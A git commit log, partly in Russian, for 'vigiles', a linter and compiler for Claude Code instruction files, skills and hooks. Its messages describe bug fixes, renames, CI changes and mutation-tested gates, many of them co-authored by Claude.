⚠️ The first of those came back green on its first run — it landed on the first
of four identical blocks rather than the skill compiler. Third time this session
that "prove the patch landed" earned its keep.
Claude-Session: https://claude.ai/code/session_01PrS34j2M8XR12P2QHaBer4
Co-authored-by: Claude <noreply@anthropic.com>
Closes#173, #174, #175, #176 and #170.
#174 — decideHook read exit 2, `decision` and `permissionDecision` but not the
harness's halt-the-turn field, so `assertBlocksDisasters` reported a guard that
stopped every disaster as blocking none. The field is read from the PORT, not
hard-coded: `continue` is documented for Claude Code and unverified for Codex.
The issue's adjacent suggestion was deliberately NOT implemented — adding the
halt to `hook-block-ineffective` as a block-attempt signal would fire on hooks
that WORK, since a halt is not event-scoped. It reads as a suppressor instead,
fixing a real false alarm. A mutation implementing the original suggestion
literally is pinned by a test that fails on it.
#173 — compile printed its errors, exited 1, and wrote a hash-valid CLAUDE.md
anyway, so `lint` went green over refs it had just called dead. Nothing is
written on a failed compile now.
#176 — eight small defects, including `audit --out` outside the repo appending
unreachable `../../..` entries to .gitignore (a documented read-only report
editing a tracked file), an unknown command exiting 1 against a documented 2,
and STABILITY.md promising the removed `scan` verb.
#175 + #176.2 — three missing capabilities, each opt-in and additive:
`{surface}` in testGlobs, `--single`, and `rulesDir` so `.claude/rules/**`
stops being invisible.
#170 — one enumeration of export forms written against the grammar, both naming
checks driven off it, and `check-internal-tag.mjs` asking the TypeScript
compiler instead of a regex. It immediately found the issue's open case, 13
tagged types the regex had never seen, and a live gap in the ESLint rule.
BREAKING CHANGE: `HookRunResult` gains a required `haltsTurn`, so code that
CONSTRUCTS one (a test fake) must set it. Reading a result is unaffected.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
The prefix answers "is this name stable?" and cannot answer "is the name my
stable symbol depends on stable?". That gap shipped: railway(), delegate() and
result() carried stable names while being meaningless without the experimental
builder, and the lint rule cannot see it — it compares tag and name within one
declaration, not the dependency between two.
So the subagent vocabulary now hangs off one marked root: result, railway,
delegate, pipe, pipeStep, needs, start and andThen become members of the
builder. Eight names leave the top level. Two further gains the prefix alone
could not reach: collision-prone words stop owning package-level names, and the
warning survives destructuring, since the binding site still names the root —
unlike a namespace object or an import subpath, which mark the import line.
Object.assign rather than a TypeScript namespace: namespaces are an error in
this repo's lint config, and one merges only with function declarations while
the skill builder is a const. Types stay top-level, for the same reason the
prefix rule excludes them.
No deprecation window: nothing outside this repository imports these, and a
window subtracts nothing. The container-rollback argument for a window does not
reach them — they take no part in loading hooks.
Found along the way, and worth more than the refactor: two example specs had
not compiled since the previous rename, because the examples directory was in
no tsconfig at all. Both fixed, and the class is closed — examples now type-check.
Gates run, in order: vitest (3281 passed), lint (0 errors), prettier --check,
api:check, build, exports:check, internal:check, docs:check, and tsc over the
types project now that it includes examples.
Claude-Session: https://claude.ai/code/session_017aUJEoaEQ3DxtvoSVWAWqe
Co-authored-by: Claude <noreply@anthropic.com>
Three exported symbols were named for something other than what they are, and
two mechanisms were doing one job.
RENAMES (old names kept one major, @deprecated, removed one major AFTER this one):
claude() → instructionFile() compiles CLAUDE.md AND AGENTS.md, so a
name from one harness was never right
instructions`` → prose`` builds a prose FRAGMENT; the plural read
as "the instruction file", which is what
instructionFile() builds
agent() → experimental_agent() the shape is not settled, and the tag was
never there (git log -S empty)
SkillSpec.result: → postcondition: `result` already meant the subagent output
contract one screen down; the doc comment
had to spend a line disambiguating them
The alias window is not politeness. Measured: the previous rename shipped with
ZERO overlap (18.1.1 old names only, 19.0.0 new only). A container rollback put
the old node_modules under new sources, PreToolUse stopped loading, and a
PreToolUse that does not load denies EVERY Bash command — including the one that
fixes it. One window per major makes that pair unrepresentable.
SUBPATH RETIRED. vigiles/experimental is gone; its members moved to the door
their feature already uses. Of two mechanisms for one promise the subpath was the
weaker: it marks the import line, out of view by the time anyone reads the call.
Measured on the only user-facing example — with the prefix aliased away at
import, the marker survived at 0 of 5 call sites. So the prefix stays, the advice
to alias it away became an explicit prohibition, and the six define* entry points
are DECLARED prefixed rather than gaining it at re-export.
That de-aliasing is what unblocked moving the naming check into ESLint, and the
ORDER was load-bearing: measured before it, dropping the public/internal
exemption produced 14 findings, all from the re-export indirection. Measured
after, across all of src/ with no exemption: 22 tagged declarations, 0
unprefixed. The rule turns on silent.
EXPORT CLEANUP. vigiles/linting export * → curated, 103 → 79 symbols; its header
claimed to be curated with an `export *` one line below, and claimed the builders
were also at the package root (191 exports there, zero matches). ClaudeTool and
HookEvent deleted — zero references, and both had drifted off the dialect they
claimed to mirror; HookEvent listed 5 events, two of which do not exist, against
the 31 the vendor documents.
DOCS. experimental.md deleted and distributed per feature: the skill half into
skills.md §Status, the hook half into a new compiled-hooks.md §Status, and the
emit half — 111 of its 177 lines, a topic doc wearing a stability page's clothes
— into docs/emit-channel.md, which gains the "which channel when" comparison it
never had. The one cross-cutting sentence went to the README.
TWO GATES WERE GREEN AND WRONG, both found by this work:
- api:check reported "verified for 11 entries — no drift" while reading
dist/experimental.d.ts from a PREVIOUS build (tsc does not clean dist/) for a
source file that no longer existed. Now asserted against package.json
exports, with a mutation proving exit 1 on a phantom entry.
- check-export-prefixes caught MY error: the R3 services first landed on
vigiles/eval, where `paid_` means "this call can bill you" — and
startServices takes a ContainerRuntime and calls no model. Naming it
paid_experimental_startServices would have redefined paid_ as "expensive in
some sense". They went to the package root.
SEVENTEEN review findings landed on this branch, all real. Two mechanical
closures came out of them: src/example-imports.test.ts resolves every relative
import under examples/ instead of matching a string, and the naming rule now
ENUMERATES the three export paths it visits rather than describing its coverage
in the abstract. One attempt is recorded as REFUTED: teaching the doc gate to
flag our own exports as free variables measured 66 findings across 93 blocks, so
that gate's original scoping was right.
BREAKING CHANGE: vigiles/experimental is removed. Its exports are unchanged in
name and behaviour and are now reached from `vigiles` (the emit channel, the R3
disposable-service tier). Every renamed symbol keeps a working @deprecated alias
for this major.
* fix(loader): a surface that exists on disk was never read, and the report named it anyway
The loader read the repo-root `skills/` **or** the project-level
`.claude/skills/` — never both — and materialized whichever it picked under the
SAME canonical `<materializeRoot>/<surface>/…` key. Two real files, one key: the
loser was never opened, and the winner's bytes sat under the loser's name.
The vendor settles which one the harness loads: BOTH, in two namespaces.
> Plugin skills use a `plugin-name:skill-name` namespace, so they can't
> conflict with other levels. For example, `my-plugin/skills/deploy/SKILL.md`
> becomes `/my-plugin:deploy` and loads alongside a `deploy` skill in your
> project's `.claude/skills/`.
> — https://code.claude.com/docs/en/skills § "Where skills live"
So "pick one" was never a tie-break to get right; it was a question with no
answer, asked because the key shape forced one. The fix removes the question:
every scope present is read, and a scope's key prefix is DERIVED FROM THE SCOPE,
so two files can no longer claim one key — there is no ordering, no
"if already taken", and no last-write-wins left to get wrong.
Measured (36 SHA-pinned public repos, 2026-08-18):
* 573 → 493 surface files that exist on disk and are never opened.
The 80 recovered are the shadowed ones: nyldn/claude-octopus 71 → 0,
hyhmrright/brooks-lint 8 → 0, thedotmack/claude-mem 1 → 0.
* The 493 that remain are a DIFFERENT, pre-existing gap, unchanged by this
commit: directory symlinks under `skills/`, which `entryOf` deliberately
does not descend (the ELOOP containment) but Claude Code does follow.
* nyldn/claude-octopus ships each skill twice — 61 under `skills/`, 57 under
`.claude/skills/`, 50 names in both, and ALL 50 pairs differ. One pair is
vendored as a true-positive fixture.
* vigiles' own repo: 6 skills → 19, lethal-trifecta units 4 → 12. Its own
audit was blind to two thirds of its own machine.
* Grades moved on 1 of 36: brooks-lint C(70) → B(82). NO finding was deleted
(6 before, 6 after) and the COUNT of dangerous units rose (6 → 7); the
Safety ring is a ratio, and this moves its denominator from 6 to the real
12. See the report for the full justification.
Also fixed, because reading both scopes caused it: a name no longer identifies a
surface, so `description-overlap` would have printed `skills "dup" and "dup"` —
50 times on claude-octopus. Overlap labels now carry the real path.
SUBTRACTS: the `root` | `user` | `none` variants of `SurfaceSource` (the either/or
is gone, so "we picked the wrong one" is unrepresentable), the duplicated
precedence rules in `scan-files.ts` (the decision now lives once, IO-free), and
one net lint warning in the two touched files (6 → 4).
Gates: npx vitest run · npm run lint · npx prettier --check . · npm run api:check
· npm run build — all clean, in that order.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* chore: escape the raw NUL bytes on this branch too
* chore: regenerate the browser-parity fixture for the two-scope disambiguation
The overlap finding now names each skill by PATH, not by bare name — which is
the point of the two-scope work: with root skills/ and .claude/skills both
present, a bare name does not identify a surface. Intentional engine change,
regenerated per the parity test's own instruction.
* chore: regenerate generated.d.ts for the merged tree
Единственный конфликт мёрджа был одной строкой в СГЕНЕРИРОВАННОМ файле — счётчик файлов
проекта, 388 против 387. Разрешено не выбором стороны, а регенерацией: у слитого дерева
счёт 389, то есть ОБЕ стороны были неверны для него. Выбор любой из них дал бы зелёный
мёрдж с неправдой в артефакте.
* fix: four defects found by dogfooding vigiles on a real consumer repo
Все четыре найдены за один день догфуда на `zernie/mine` (43 скилла, 48 харнесс-файлов),
каждый — с замером, а не с рассуждением.
1. `exclude` не доходил до прохода по markdown-рефам
`findDocRefs({ basePath })` вызывался без `ignore`, хотя поле `exclude` документировано
ровно под этот случай («vendored or benchmark fixtures the repo's own lint shouldn't
police»). Замер: 9 битых рефов, 8 из них внутри каталога, явно перечисленного в
`exclude`, и все 9 репортились. Следствие дороже причины: выйти в 0 стало нечем, поэтому
шаг пометили `continue-on-error: true` — а lint, чей код возврата выбрасывают, не гейтит
ничего, и рядом выросли самодельные CI-шаги, чтобы гейтить вместо него. Один непереданный
аргумент — вся эта цепочка. После починки: 9 → 0.
2. Рефы искались ТЕКСТОМ, а не разбором
`/\b(enforce|file|cmd|ref)\(\s*["']…/` — четыре из шести входов классифицировались
неверно (замер 19.08): `ctx.file("OUT")` (метод чужого объекта — живой ложный
срабатыв в реальной репе), `obj.cmd(...)`, `// cmd(...)` в комментарии,
`'cmd("x")'` внутри строки. `\b` спокойно стоит после точки, а у регулярки вообще нет
понятия комментария и строкового литерала. Разбор делает все четыре НЕВЫРАЗИМЫМИ: AST
отдаёт только вызов, у которого callee — голый идентификатор. `typescript` и так
runtime-зависимость пакета — парсер лежал в коробке всё это время.
3. Раннер скриптов был строгой очередью
`files.forEach(... spawnSync ...)` со `stdio: "inherit"`. Замер на 48 харнессах:
270s → 77s (3.5×), результат ПОБАЙТОВО тот же (84 passed, 1 with 0 checks, 7 failed).
Пул по умолчанию выводится из `entry`, а не из нового флага: `test` не передаёт entry и
разъезжается по ядрам (файлы бесплатны и детерминированы по построению — мок-модель, без
API-ключа), `eval` передаёт и остаётся на 1, потому что параллель там — это одновременные
оплачиваемые вызовы модели. Вывод буферизуется на ребёнка: с `inherit` 48 отчётов
шинкуются друг о друга, и это настоящая цена параллели, а не сам цикл.
4. Путь агента в находке брался по ИМЕНИ
`new Map(agents.map(a => [a.name, a.path]))` оставляет последнюю запись, поэтому при
`agents/foo.md` и `.claude/agents/foo.md` (разные неймспейсы у Claude) находка о первом
репортилась против файла второго. Находка lethal-trifecta, указывающая не на тот файл,
хуже отсутствующей: она отправляет читателя проверять невиновный код. До полной
scope-qualified идентичности (правка крупнее, `finding.name` несёт только голое имя)
неоднозначное имя даёт ПУСТОЙ путь вместо произвольного.
Плюс: все 10 джобов в 6 воркфлоу этого репозитория были без `timeout-minutes` — то есть
зависший джоб шёл до шестичасового потолка GitHub. Бонды ~3-4× ЗАМЕРЕННОЙ длительности
собственных прогонов репы, замер процитирован над каждой строкой.
Тесты: два новых на пул, обе половины. ⚠️ Первая версия фикстуры считала маркеры, которые
только СОЗДАВАЛИСЬ, — то есть «сколько стартовало всего», а это достигает N и при строго
последовательном прогоне; тест проходил по причине, не связанной с параллелью. Исправлено
освобождением слота на выходе. Обе мутации (форсировать serial · распараллелить eval)
валят каждая свой ассерт, каждая с доказательством, что патч лёг.
Гейты: `npm run lint` 0 errors · `npx prettier --check .` чисто · `npm run api:check` без
дрейфа · `npm run build` · `npx vitest run` — падает только пре-существующий
`scripts/release-preset.test.ts` (не находит `@semantic-release/commit-analyzer`, объявленный
в package.json, но не установленный в этом окружении; на CI со свежей установкой зелено).
* docs: record what each of the four defects was, in the pages that own them
comparison.md — что СЧИТАЕТСЯ рефом теперь (вызов, у которого callee — голый идентификатор,
а первый аргумент строковый литерал) и почему три формы больше не рефы: метод чужого объекта,
упоминание в комментарии, строка с текстом вызова. Плюс область: проход читает `**/*.md` и
теперь уважает `exclude`, чего не делал — из-за чего репозиторий с вендоренной чужой
разметкой не мог получить чистый lint вообще.
docs/rules/delegation-trifecta.md — новая секция про два агента с одним именем: находка
теперь показывается БЕЗ пути, а не с произвольно выбранным из двух. Явно сказано, почему
это лучше: неверный путь отправляет читателя проверять невиновный файл.
docs/cli.md — почему `test` гоняет несколько скриптов разом, а `eval` по одному, и что
это следует из яруса, а не из флага. С замером 270s → 77s при побайтово одинаковом
результате, и с ценой: вывод буферизуется, живого стрима больше нет.
Все три — то, что было НАЙДЕНО, а не только что изменилось: через месяц полезно именно это.
* fix(docs): mark two illustrative enforce() blocks the old regex could not see
Разбор нашёл на два рефа больше, чем регулярка, и оба оказались СЛОМАННЫМИ — годами,
незаметно: `enforce("rubocop/Custom/NoDirectDbQuery")` и `enforce("pylint/no-direct-db-query")`
в справочных страницах скилла. Это примеры того, как объявить СВОЁ правило, то есть имена
заведомо несуществующие — им место под `<!-- vigiles:ignore -->`.
🔴 Почему регулярка их не видела, и это отдельный класс: она применялась ПОСТРОЧНО
(`for (const {lineNo, text} of blockLines) text.matchAll(CALL_RE)`), поэтому вызов,
разнесённый на несколько строк — а оба именно такие — не совпадал никогда. То есть у прежнего
детектора были не только ложные срабатывания (метод чужого объекта, комментарий, строка), но и
ложные ПРОПУСКИ на самой обычной форматировке. Разбор снимает оба класса разом: у AST нет
понятия «строка файла».
Итог на этом репозитории: 21 реф → 25 (после двух маркеров), все валидны.
* fix(compile): quote frontmatter scalars YAML would otherwise mis-read
`description: ${spec.description}` подставлялся сырым, поэтому описание с двоеточием и
пробелом — «…ловит ошибки, где замер врёт: неаналоги в выборке» — давало frontmatter,
который НЕ является валидным YAML. Замер 19.08 на двух реальных скиллах: сразу после
`vigiles compile` метод `skillContract()` отдаёт `malformed: true` и `declared: []`. Файл
ВЫГЛЯДИТ объявляющим `allowed-tools`, строгий парсер не читает ничего, скилл молча
наследует все инструменты сессии.
🔴 Это ровно тот дефект, который правило `frontmatter-valid` существует чтобы репортить —
то есть благословлённый путь производил то, что продукт ищет. Хуже: он НАКАЗЫВАЛ за
починку. Человек, закавычивший значение руками, получал на следующем линте расхождение
хеша («manually edited after compilation»), а перекомпиляция молча откатывала правку.
Проверка — КРУГОВОЙ ПРОГОН, а не список опасных символов: эмитим, читаем обратно тем же
загрузчиком, которым пользуется линтер, и квотим, только если вернулось не то, что ушло.
Два следствия этого выбора:
· уже безопасное значение эмитится побайтово как раньше — ни один скомпилированный файл не
меняется, ни один интегрити-хеш не двигается (подтверждено: все 1303 core-теста зелены);
· множество «опасных» входов не надо перечислять и поддерживать — решает сам YAML, поэтому
`#`, `[`, `&`, `*`, ведущий пробел, `yes`, `null` покрыты, не будучи названными.
Применено и к субагентам: описание там пишется так же свободно и ломает frontmatter так же.
Тесты — обе половины, и обе несущие (мутации с доказательством, что патч лёг):
· вернуть сырую подстановку → падает «compile quotes a description YAML would mis-read»
· квотить всегда → падает «leaves an already-safe description bare — no hash churn»
Вторая не менее важна первой: избыточное квотирование переписало бы каждый файл в каждой
репе и сдвинуло каждый хеш, что читается как «vigiles переписал мне весь репозиторий».
* feat!: doc-refs is opt-in, because it measured 0 true positives
The markdown code-block ref pass ran unconditionally and could not be turned
off. Measured across two real repositories on 2026-08-19 — 2 582 markdown
files, 52 builder refs — it produced ZERO true positives, and every error it
had ever raised was false: design prose sketching an API that does not exist
yet (`cmd("npm test")` for a package with no such script), and a third-party
CLAUDE.md captured verbatim as benchmark data.
The cause is structural rather than a threshold miss. A fenced block in prose
is a DRAWING of config, and this pass read it as config. No calibration fixes
that, because the block is not wrong — it is not config.
The consumer repo could only reach a passing lint by listing whole directories
in `exclude`, silencing every other check over a third of the tree; measured
afterwards the pass walked 604 files and found 0 refs — inert, still paying for
the walk. Off by default replaces that blunt instrument with an honest default.
BREAKING CHANGE: the markdown code-block ref pass no longer runs by default.
Enable it with {"rules": {"doc-refs": "error"}} — appropriate where markdown
genuinely is the source (a docs site whose fences are copied into live specs).
At "warn" findings print marked ℹ and the exit code is untouched; at "error"
they gate with exit 2 (they previously contributed exit 1, the soft tier,
because the pass fired unasked).
Known gap recorded for whoever raises the default again: the walker globs
without `dot`, so .claude/** — where deployed skills and agents live — has
never been scanned. The rule has never once judged a real instruction file.
* test(doc-refs): the GitHub annotation follows the configured severity
The inline-annotation test drove the pass with no config, which no longer runs
it. Extended to all three tiers rather than just re-enabled: "error" annotates
::error, "warn" annotates ::warning, and absent annotates nothing at all. The
middle case is the one worth asserting — a ::error rendered next to an exit code
of 0 is how an advisory rule gets read as a gate.
* chore: regenerate generated.d.ts, and stop two docs lines claiming doc-refs is on
CI caught what my five local gates could not: `npm run check` runs 18 stages
and I ran 5 of them. The new test file was missing from the generated project-
file union — 17/18, failing on `generated-types:committed`.
Also two sentences in docs/comparison.md still described the pass as
unconditional: the section's opening claim ("vigiles validates … calls inside
fenced TS/JS code blocks") and the Scope paragraph. Both now say opt-in; the
reader hits the opening line four paragraphs before the new note explaining the
default.
* ci(site): stop the browser install from eating the job
The site job was cancelled at its 15-minute bond twice in a row (runs
32300064395 and 32303343213), both times inside `playwright install --with-deps
chromium`, and neither failure was in the diff under review. The log shows the
cause plainly: `--with-deps` shells out to apt, apt hung on
azure.archive.ubuntu.com (`Ign:` on every line, then twelve minutes of silence),
and the orphan reaped at the end is `npm exec playwright install --with-deps`.
Three changes, one per cause:
- Drop `--with-deps`. ubuntu-latest already ships the libraries Chromium needs;
the flag exists for bare containers. Removing it removes the only part of this
step that touches a distro mirror. If a library really is missing, the browser
fails to LAUNCH in the next step within seconds and names the missing .so —
loud, and far better than a silent 15-minute hang.
- Cache ~/.cache/ms-playwright, keyed on the lockfiles. The step's floor was a
full ~150 MB download on every run, cache or no cache, good day or bad.
- Bound the step at 5 minutes. The job bond cannot tell "this step wedged" from
"the suite is slow", so a wedge cost the whole job; now it costs five minutes
and names the step that did it.
Measured baseline for the job: 3m35s.
* ci: run a job only when the commit can reach its inputs
This workflow had no path filter at all, so every PR paid for all five jobs
whatever it touched. Measured on this very PR (16 files across src/ and docs/,
none under site/): the site job built the engine, downloaded a browser and ran
the demo suite against code the diff could not reach — twice, at ~15 minutes
each, because the browser install wedged.
A workflow-level `paths:` cannot express this. It decides whether to run the
workflow AT ALL and says nothing about individual jobs. So the decision moves
into a `changes` job: one API call, no checkout, ~10s, feeding an `if:` on the
jobs whose inputs are disjoint from what changed.
Two flags, each conservative in the direction that costs minutes rather than
correctness:
root false ONLY when every changed file is under site/ — nothing outside
site/ imports anything inside it. Gates test, harness, e2e.
site false ONLY when every changed file is prose or agent config
(docs/, .claude/, root *.md). Gates site.
`check` stays unconditional: it runs types:site and cli-lint, so both halves of
the repo are among its inputs.
The site flag is a measurement, not an assumption. The demo imports the built
engine through three aliases, so any src/ change can reach it and must run it.
What cannot: grepping the three bundles it actually loads for the lint rule table
(DEFAULT_RULES, frontmatter-valid, doc-refs) returns zero in all three, and its
check pages are generated from site/src/checks/checks.ts rather than from docs/.
Tested in src/ci-path-filter.test.ts, which EXTRACTS the patterns from the
workflow rather than restating them — a test that agrees with its own copy of a
rule proves nothing about the rule that runs. A skipped job and a passed job look
identical in the checks list, so both directions are asserted. Three mutations,
each failing on its own assertion with the patch verified in place:
prose arm widened to any *.md → 'a markdown file NESTED in src'
prose arm widened to include src/ → 'runs everything for a normal src change'
empty-list bail flipped to false → 'an empty diff is not a licence to skip'
* test(ci): a job added later cannot silently escape the path gate
The filter itself was tested; the SHAPE of the workflow was not. In the checks
list a skipped job and a passed job are the same tick, so a job added tomorrow
with no `if:` looks exactly like a correctly-gated one that happened to run —
the filter quietly stops meaning anything and nothing goes red.
Exemptions are named with their reason rather than inferred, so granting one is
a visible edit: `changes` is the classifier itself (gating it on itself is a
cycle), `check` runs types:site and cli-lint so both halves of the repo are its
inputs. Plus a vacuity guard — if every job ends up exempt the assertion can no
longer fail, and an empty list would read as health.
Mutation, patch verified in place: stripping the gate off `site` fails with
"job(s) run on every commit with no path gate: site".
Mirrors the same guard added to mine's paper-gates.harness.mjs, where an ungated
19m42s job was what prompted it.
Gates, in order: npx vitest run (8 in this file) · npm run check 18/18.
* Revert "test(ci): a job added later cannot silently escape the path gate"
This reverts commit be267c7133.
* test(compile): state the frontmatter guarantee as a property, not one example
The colon-space test proved the colon-space case and nothing else. YAML has a
dozen ways to read a bare scalar as something other than the string written, and
a description is arbitrary human prose, so the guarantee belongs as a property
over that space: 29 adversarial scalars in, identical strings back; 4 safe ones
left bare so no consumer's integrity hash moves.
This is what lets a downstream repo delete its own check. Before, a consumer
proved the reader failed closed by hand-editing a compiled SKILL.md — text
surgery resting on how that corpus happened to be quoted, an assumption that
stops holding now that quoting is conditional. The emission side is provable
here; the hand-edit side is what frontmatter-valid and the integrity hash cover.
The 'trailing space' row went red on first run and the finding was about the
TEST: frontmatterScalar trims by contract, so it cannot witness a byte-exact
round trip. The compiler had emitted the value correctly. Oracle moved to the raw
parsed value, with the reason recorded inline so nobody 'fixes' it back.
Mutations, patch verified in place both times:
yamlScalar never quotes → 20 rows red, incl. every YAML indicator character
yamlScalar always quotes → all 5 bare-scalar rows red (the hash-churn side)
Gates in order: npx vitest run (44 in this file) · npm run check 18/18.
* fix(coverage): a script that could not LOAD did not run, so it must not retract
The retraction rule is right and stays: a script that RAN and proved nothing must
not keep yesterday's green record alive. It just does not describe a file the
runtime never evaluated. A module that fails to resolve executed no assertion — it
is the same 'did not run' as a missing claude CLI, arriving through another door.
Measured twice in one session on 2026-08-20: a container restore left an old
node_modules behind, every harness in a consumer repo died on `Named export
'recordCheck' not found`, and that repo's ledger fell from 48 records to 34 and
from 47 to 33. Nothing about those surfaces had changed — the machine had.
statusFor now also sees the child's output and classifies a loader error as skip.
Deliberately literal and only the loader's own vocabulary (ERR_MODULE_NOT_FOUND,
Cannot find package/module, the CommonJS named-export SyntaxError,
ERR_UNSUPPORTED_DIR_IMPORT, ERR_PACKAGE_PATH_NOT_EXPORTED) — those strings come
from Node's resolver, not from user code.
⚠️ It does not make a broken environment quiet. A skip still prints ⊘ SKIPPED and
--no-skip, which this repo's own CI passes, still fails the run. What changes is
only whether a machine problem may delete a measurement taken on a machine that
worked.
Mutation with the patch verified in place: reverting to a bare 'fail' fails on
'a module-resolution failure is a skip, not a fail'. The opposite direction is
asserted too — an AssertionError, a zero-check run and a passing run that merely
mentions a loader string all keep their old classification.
Gates: npx vitest run (32 in this file) · npm run check 18/18.
* feat(hook)!: compiled hooks are marked experimental, structurally
docs/experimental.md already states the principle — 'The prefix is the promise,
wherever the symbol lives' — and npm run experimental:check already fails CI when
a declaration tagged @experimental is not named for it. Compiled hooks were never
enrolled: grep found zero @experimental in hook.ts and hook-program.ts, so the
checker had nothing to compare and stayed silent. That is the checker's honest
limit — it catches a mismatch, not an absent marking, which is a human call.
Only the SIX ENTRY POINTS carry the prefix, and the placement is the argument:
every other name in the vocabulary — allow, deny, tool, pathView, commandView,
state, record, notice, run — is reachable only from inside a define* call, so
prefixing the chokepoint makes the marking structural for the whole family. Same
reasoning experimental_skill.input() is already documented with.
BREAKING CHANGE: defineHook, defineFileGate, definePromptGate, defineStopGate,
defineInject and defineReact are exported from vigiles/hook as
experimental_defineHook, experimental_defineFileGate, experimental_definePromptGate,
experimental_defineStopGate, experimental_defineInject and experimental_defineReact.
Alias at the import site so the word crosses the package boundary once and the body
stays readable:
import { experimental_defineInject as defineInject, state } from "vigiles/hook";
Docs, all three places asked for: a banner on docs/compiled-hooks.md (the feature
already has its own guide), a full section in docs/experimental.md, and the private
architecture note in CLAUDE.md.spec.ts. The experimental section states GAPS rather
than a disclaimer — named state landed 2026-08-12 and is untested by anyone but its
author; testing a stateful hook means reconstructing a runtime-private store path,
which the dogfood repo hard-codes and which broke when facts were renamed; compile
is not idempotent; two consumers, both the author's — plus what would have to be
true to drop the prefix.
⚠️ Three of my own defects on the way, all caught by gates rather than by review:
docs-imports flagged that the guide's examples still used the old names; a regex
that ran over one file twice produced 'experimental_defineHook as experimental_
defineHook as defineHook'; and six fixture STRINGS plus one dynamic-import
destructure held the old names in places a rename does not reach.
Gates: npx vitest run 3231 passed · npm run check 18/18.
* fix(examples): the rename missed examples/, and only the harness tier saw it
CI failed on examples/harness/compiled-hook-inprocess.harness.mjs. npm run check
cannot catch this — it type-checks src/ and never runs the example harnesses; the
harness job does, which is why the whole 18/18 suite stayed green over a broken
example.
Fourth instance of the same class in one change, and the pattern is worth naming:
a rename reaches declarations and imports, and does NOT reach a symbol living in
a fixture STRING, in a dynamic-import destructure, in a doc code block, or in a
directory the type-checker does not compile. Each was found by a different gate —
docs-imports, vitest, and now the harness tier — and none by reading the diff.
⚠️ refs-nudge.harness.mjs fails locally and passes in CI, and that is the
environment rather than this branch: CI pins the claude CLI to the
dialect-validated 2.1.187 (read out of src/dialect-drift.ts), this container has
2.1.237, and the file is byte-identical to main's.
* fix(skill-resources): a file the skill WRITES is not a file it ships
A consumer skill's line was reported as a missing bundled resource:
API responses are cached to `scripts/.cite-cache.json` (gitignored) so
re-runs are cheap.
Isolated to one word with a three-line fixture differing only in its tail. The
same sentence ending "so subsequent invocations are cheap" stayed silent, and
so did the same sentence with no tail. Only `re-runs` fired: JavaScript's `\b`
counts a hyphen as a word boundary, so USE_DIRECTIVE's `runs` matches INSIDE
it, and a plural noun about repetition was read as an instruction to run the
file.
Fixing the hyphen was rejected by that same measurement — "re-run
`scripts/x.sh` before submitting" is a genuine directive, so a rule about
hyphens trades this false positive for a false negative. The honest
discriminator is that the line says the file is MADE, not read, and
`gitignored` is its strongest form: a file the author states is outside the
repository cannot be shipped inside it.
GENERATED_FILE_CUE is deliberately separate from ILLUSTRATIVE_CUE. That one
vetoes a HYPOTHETICAL mention; this one vetoes a mention that is entirely
concrete and still cannot name a bundled resource. It is the read the module
already takes: USE_DIRECTIVE excludes authoring verbs (store/create/add/move/
write) for this exact reason, and simply never covered the writing side.
Both candidate shapes consult it — the measured line is an inline path, but
the same sentence as a markdown link would slip past a one-sided fix.
Mutation-proven, each with evidence the patch landed:
| mutation | fails on |
| --- | --- |
| veto removed from the inline shape | the hyphenated-word case |
| veto matches everything (`/./`) | "still flags a REAL directive" (+4 true positives) |
| veto removed from the link shape | the written-at-runtime link case |
End-to-end on the consumer repo: the finding is gone, and the one remaining
`✗` there is unrelated.
Gates, in order: `npm run check` 18/18 · `npx vitest run` 3236 passed. One
suite fails to LOAD in this checkout — `scripts/release-preset.test.ts` cannot
resolve `@semantic-release/commit-analyzer`, which is in package.json but not
in this node_modules. A partial install, not a result: it did not run, so it
proves nothing either way.
---------
Co-authored-by: Claude <noreply@anthropic.com>
Two locked design items (vigiles/ideas/23), plus the public docs brought level with
what has actually been measured.
1. A CALL THAT ERRORED IS NOT AN EMISSION. Measured on the shipped build: a
permission-denied call carrying a valid payload returned {"kind":"ok"} — the reader
filtered by name and never looked at ToolCall.isError, a field that was on the type
all along. The server never received that call. This is the exact class of lie the
emit channel exists to remove from the fenced rail, reproduced inside the channel.
Errored calls now get their own branch, because all three collapses lie in a
different direction: counting them reports success for a call nobody received;
dropping them silently says "no tool call", sending the reader to the skill's
instructions when the fault is in permissions; lumping them with "called twice"
gives a true signal under a false name when a model retries a denial. A successful
call alongside a denied one is one successful emission — the contract was met.
Four tests, each naming its collapse. Mutation-checked: removing the split fails
three of the four.
2. ENUM, the one extension to OutputFieldType. A readonly tuple of literals declares
a field whose value must be one of them; it renders as a JSON-Schema enum in the
tool definition and as "CUT" | "MERGE" in the fenced rail, so both deliveries show
a worker the same permitted values. The measurement behind it: a verdict field
declared as `string` held three mutually incomparable invented categories over three
runs, with 3/19 = 16% vocabulary compliance. `string` cannot express "one of these".
Nothing relational follows it — no object[], no tuples. On 14 real payloads, 23
scalar values carried every assertion anyone made while 80,981 characters of prose
carried none, so the body stays prose by decision rather than by omission.
3. DOCS. docs/experimental.md gains the outcome table — every way an emission can fail
to satisfy the contract, with the reason text — which was the one thing a reader
could not find. Measurements updated to the breadth study (15/15 on sonnet; a zero
on haiku that was the skill stopping early, not the channel dropping); the serving
question is marked answered; the prefix-removal conditions now say which of the
three is met. Also states plainly what the channel does NOT check: whether the
emitted result is true. Gating on an emitted verdict was measured and rejected —
self-report disagreed with a judged check in 45-75.8% of runs.
Gates: npx vitest run, npm run lint, npx prettier --check ., npm run api:check,
npm run build — via the check script, 18 of 18. The api-surface diff is the intended
widening of OutputFieldType and EmitFieldSchema, reviewed and committed.
Co-authored-by: Claude <noreply@anthropic.com>
* fix(audit): coverage caveats printed by lint never reached the audit report
`formatUntestedReport` grew two qualifier lines — a test file still carrying
the retired `vigiles:covers` marker, and a run record older than the text it
measured. `audit` assembles its own fact block from the SAME UntestedReport
and carried neither, so the note that exists to explain a silent migration was
itself silent for anyone whose habit is `audit` rather than `lint`.
Measured before the fix on a fixture whose only harness carries the marker:
lint → "1 test file(s) still carry the retired `vigiles:covers` marker …"
audit → "Untested surfaces: 0" and nothing else
The caveats now come from one exported builder (`coverageCaveats`) that both
renderers read, so a third qualifier reaches both callers or neither — a
renderer can no longer carry half the list. `ScanReport.coverageCaveats` is
absent rather than `[]` when empty, because the browser twin structurally
cannot compute these (no `.vigiles/coverage.json` without a filesystem) and
byte-parity between the two engines is asserted field-for-field.
